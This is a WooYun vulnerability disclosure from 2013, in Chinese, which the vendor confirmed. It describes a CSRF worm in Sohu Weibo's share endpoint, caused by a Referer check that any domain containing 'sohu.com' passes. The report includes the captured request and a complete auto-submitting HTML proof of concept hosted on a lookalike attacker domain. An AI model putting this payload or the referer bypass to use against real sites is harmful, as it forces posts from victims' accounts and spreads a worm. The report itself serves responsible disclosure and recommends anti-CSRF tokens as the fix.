当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017468

漏洞标题:搜狐微博防御体系存在缺陷导致蠕虫爆发

相关厂商:搜狐

漏洞作者: 风萧萧

提交时间:2013-01-18 10:38

修复时间:2013-03-04 10:39

公开时间:2013-03-04 10:39

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-18: 细节已通知厂商并且等待厂商处理中
2013-01-18: 厂商已经确认,细节仅向厂商公开
2013-01-28: 细节向核心白帽子及相关领域专家公开
2013-02-07: 细节向普通白帽子公开
2013-02-17: 细节向实习白帽子公开
2013-03-04: 细节向公众公开

简要描述:

国家终于有任务交给你了

详细说明:

1.存在蠕虫肯定是发布微博的地方出了问题,看这个分享到搜狐微博的接口:

1.jpg


2.点击【分享】,抓包看请求:

POST http://t.sohu.com/third/insertTwitter HTTP/1.1
Host: t.sohu.com
Proxy-Connection: keep-alive
Content-Length: 360
Origin: http://t.sohu.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.2 Safari/537.13
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://t.sohu.com/third/post.jsp?link=http%3A%2F%2Fyule.sohu.com%2F20130117%2Fn363726424.shtml&title=%E4%B8%93%E8%AE%BF%E5%91%A8%E6%98%9F%E9%A9%B0%EF%BC%9A%E5%A6%82%E6%9E%9C%E8%A7%82%E4%BC%97%E6%8E%A5%E5%8F%97%20%E6%88%91%E5%B0%B1%E7%BB%A7%E7%BB%AD%E5%90%83%E8%80%81%E6%9C%AC-%E6%90%9C%E7%8B%90%E5%A8%B1%E4%B9%90
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: 略
act=insertOrigin&msg=%u56FD%u5BB6%u6709%u4EFB%u52A1%u7ED9%u4F60%u4E86%uFF01&type=2115&url=http%3A%2F%2Ft.itc.cn%2FnWfah&app_key=cmsnew&title=%D7%A8%B7%C3%D6%DC%D0%C7%B3%DB%A3%BA%C8%E7%B9%FB%B9%DB%D6%DA%BD%D3%CA%DC+%CE%D2%BE%CD%BC%CC%D0%F8%B3%D4%C0%CF%B1%BE-%CB%D1%BA%FC%D3%E9%C0%D6&media=%CB%D1%BA%FC%D3%E9%C0%D6&mediaurl=http%3A%2F%2Fyule.sohu.com%2F&summary=


3.上述请求POST参数的具体含义看参数名就知道了,这里简单说下msg参数是转发微博时自己留言的内容,url参数是指转发的微博来自的具体链接,titile参数是转发来的微博的标题,media参数是指微博来自什么媒体,mediaurl当然指的是媒体的链接咯!
4.这里实际上是做referer判断的,即referer必须为sohu.com或者空,其他域不行。这意味着我是不是只能本地单机玩了啊!哈哈,经过简单的测试,发现验证referer的正则表达式写的有问题!只是判断了域名是否包含有sohu.com,而不是验证根域名为sohu.com。那么我这里可以构造子域名t.sohu.com.test.av作为蠕虫传播的载体服务器,即可绕过。

漏洞证明:

5.于是乎,我构造了下面这个POC链接:

http://t.sohu.com.xssed.me/csrf/sohu.html


将POC代码一并贴在这里:

<html>
<head>
</head>
<body>
<form id="fxx" name="fxx" action="http://t.sohu.com/third/insertTwitter" method="POST">
<input type="text" name="act" value="insertOrigin" />
<input type="text" name="msg" id="msg" value="follow me" />
<input type="text" name="type" value="2115" />
<input type="text" name="url" value="http://t.sohu.com.xssed.me/csrf/sohu.html" />
<input type="text" name="app_key" value="cmsnew" />
<input type="text" name="title" value="专访周星驰:如果观众接受 我就继续吃老本-搜狐娱乐" />
<input type="text" name="media" value="xssed.me" />
<input type="text" name="mediaurl" value="http://t.sohu.com.xssed.me/csrf/sohu.html" />
<input type="text" name="summary" value="" />
<input type="submit" value="submit" />
</form>
<script>
document.fxx.submit();
</script>
</body>
</html>


6.Chrome登录风萧萧吸的微博账号发布微博如下:

5.jpg


7.Firefox登录另一个网易微博账号,找到风萧萧吸:

6.jpg


8.点击【专访周星驰】处,返回如下:

7.jpg


9.同时,自己也转发了相关蠕虫微博:

9.jpg

修复方案:

1.既然referer域名可以改成t.163.com.test.av是可以的,那么改成test.av/csrf.php?163.com呢,是不是可以呢?这个以后大家当做小的细节来考虑吧!
2.在防御方面,强烈建议:
关键请求还是改成post比较好!
关键请求还是加token比较好!
3.另外,不管怎样我还是来求个礼物吧!

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-01-18 14:23

厂商回复:

感谢对搜狐安全的关注

最新状态:

暂无